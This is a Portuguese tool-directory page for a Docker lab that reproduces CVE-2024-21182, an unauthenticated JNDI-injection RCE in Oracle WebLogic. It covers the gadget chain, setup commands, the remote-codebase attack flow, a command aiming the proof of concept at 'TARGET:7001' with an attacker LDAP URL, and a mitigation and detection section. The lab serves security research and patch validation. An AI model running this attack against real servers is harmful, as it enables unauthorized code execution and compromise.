Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-21182 — Laboratório Docker reproduzível para CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference injeção JNDI levando a RCE não autenticada. validate.sh de um comando para testes de segurança autorizados e validação de patch. | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2024-21182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdinosn/cve-2024-21182

CVE-2024-21182

Laboratório Docker reproduzível para CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference injeção JNDI levando a RCE não autenticada. validate.sh de um comando para testes de segurança autorizados e validação de patch.

Ver Repositório
354há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE (laboratório)

Um laboratório Docker autocontido com um único comando para reproduzir e validar a família de vulnerabilidades de injeção JNDI OpaqueReference do Oracle WebLogic Server (CVE-2024-21182, um bypass do patch da CVE-2023-21839) e transformá-la em execução remota de código não autenticada.

⚠️ Apenas para pesquisa de segurança autorizada, educação e validação de patches. Consulte DISCLAIMER. Execute apenas contra este laboratório ou sistemas que você possui.


O que isto demonstra

A CVE-2024-21182 é uma vulnerabilidade não autenticada no componente Core do Oracle WebLogic Server, acessível através dos protocolos T3 / IIOP (porta padrão 7001). Permite que um atacante vincule um objeto de "referência" manipulado na árvore JNDI do servidor e dispare uma consulta JNDI do lado do servidor para uma URL controlada pelo atacante — injeção JNDI clássica que escala para RCE.

CVECVE-2024-21182
ProdutoOracle WebLogic Server (Core)
Afetados (segundo a Oracle)12.2.1.4.0, 14.1.1.0.0
Corrigido emCritical Patch Update de Outubro de 2024 da Oracle
VetorRede, não autenticado, T3/IIOP (porta 7001)
CISA KEVSim (conhecido por ser explorado ativamente)
ClasseBypass do patch da CVE-2023-21839 (injeção JNDI OpaqueReference)

Causa raiz

Um objeto de referência do WebLogic é resolvido no lado do servidor durante lookup() por uma ObjectFactory que realiza uma consulta JNDI aninhada contra uma URL fornecida pelo atacante:

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← controlado pelo atacante, lado do servidor

A CVE-2023-21839 atingia este ponto via weblogic.jndi.internal.ForeignOpaqueReference, que a Oracle então protegeu. A CVE-2024-21182 contorna essa proteção atingindo a mesma consulta estrangeira através de weblogic.ejb.container.internal.AggregatableOpaqueReference, cujo campo privado referent é definido reflexivamente para um weblogic.application.naming.MessageDestinationReference.


⚠️ Importante: imagem do laboratório vs. versões listadas no CVE

Este laboratório utiliza vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, com JDK 1.8.0_151 inclusa) porque é a única imagem vulnerável do WebLogic redistribuível gratuitamente — as versões formalmente listadas pela CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0) exigem licença Oracle e não podem ser publicadas aqui.

Consequências, declaradas honestamente:

  • O laboratório reproduz fielmente a classe de vulnerabilidade de injeção JNDI OpaqueReference → RCE, exercitada com as classes exatas do gadget da CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).
  • Ele não prova a propriedade de bypass de patch em si — o 12.2.1.3 é anterior à lista negra da CVE-2023-21839, portanto não há patch a ser contornado nesta imagem. Para demonstrar o bypass especificamente, você precisa de uma compilação licenciada do 12.2.1.4 patcheada até o CPU de antes de outubro de 2024.
  • Etapa RCE: funciona aqui porque o JDK 1.8.0_151 é anterior ao 8u191 e possui com.sun.jndi.ldap.object.trustURLCodebase=true (carregamento de classes de codebase remota). Em JDKs modernos, a injeção ainda dispara (SSRF), mas o RCE requer um gadget já no classpath do WebLogic em vez de uma codebase remota.

Início rápido

Requisitos: Docker + Docker Compose v2. ~3 GB de download de imagem. No Apple Silicon, a imagem executa sob emulação linux/amd64 (inicialização a frio mais lenta, 2–5 min).

git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # inicia: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # aguarda inicialização, dispara o exploit, imprime PASS/FAIL

Final esperado de ./validate.sh:

[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

Encerramento:

docker compose down

Como funciona (as peças)

                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (vítima)    consulta JNDI lado servidor       retorna Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (codebase HTTP)
                                                           carrega + instancia → static{} executa `id`
  • poc/CVE_2024_21182.java — o cliente T3. Constrói o AggregatableOpaqueReference malicioso, faz bind(), depois lookup() para disparar a resolução no lado do servidor. Parametrizado: <t3-host:port> <ldap-url>. É compilado dentro do contêiner WebLogic pelo validate.sh porque as classes do gadget residem no conjunto completo de módulos do WebLogic (não no cliente thin redistribuível), portanto nenhum jar Oracle é enviado aqui.
  • exploit/ldap_server.py — servidor LDAP malicioso mínimo que retorna uma Reference JNDI mais um servidor HTTP hospedando a classe fábrica. Executa no contêiner attacker, acessível do WebLogic pelo nome de serviço attacker.
  • exploit/Exploit.java / Exploit.class — a fábrica de payload (bytecode Java 8). Seu inicializador estático executa id / uname -a e escreve a saída em /tmp/RCE_PROOF_CVE_2024_21182 dentro da vítima. Inofensivo por design — edite-o e execute exploit/build.sh para alterar o comando.

O ClassCastException (Exploit cannot be cast to ObjectFactory) que você verá é esperado e cosmético — ocorre após o inicializador estático (o payload) já ter sido executado.


Validar um alvo patcheado / real

Aponte o PoC para qualquer endpoint T3 que você está autorizado a testar:

# de dentro de um host com o cliente thin WebLogic, ou adapte o validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
  • A injeção dispara (LDAP de saída observado), sem RCE → JDK com trustURLCodebase=false; você ainda tem SSRF, e RCE pode ser possível via um gadget no classpath.
  • Nada dispara → o caminho OpaqueReference está patcheado (CPU de Outubro de 2024 aplicado).

Mitigação

  • Patcheie — aplique o Critical Patch Update de Outubro de 2024 da Oracle.
  • Rede — restrinja T3/IIOP (7001) com filtros de conexão do WebLogic (weblogic.security.net.ConnectionFilterImpl) e firewalls de host.
  • JDK — mantenha com.sun.jndi.ldap.object.trustURLCodebase=false (padrão em JDKs atuais); quebra a etapa RCE de codebase remota (não a etapa de injeção).
  • Detecte — consultas LDAP/RMI/DNS de saída da JVM do WebLogic para hosts não autorizados; processos filhos inesperados do processo WebLogic; bind T3 de tipos *OpaqueReference.

Créditos e referências

Baixar ferramenta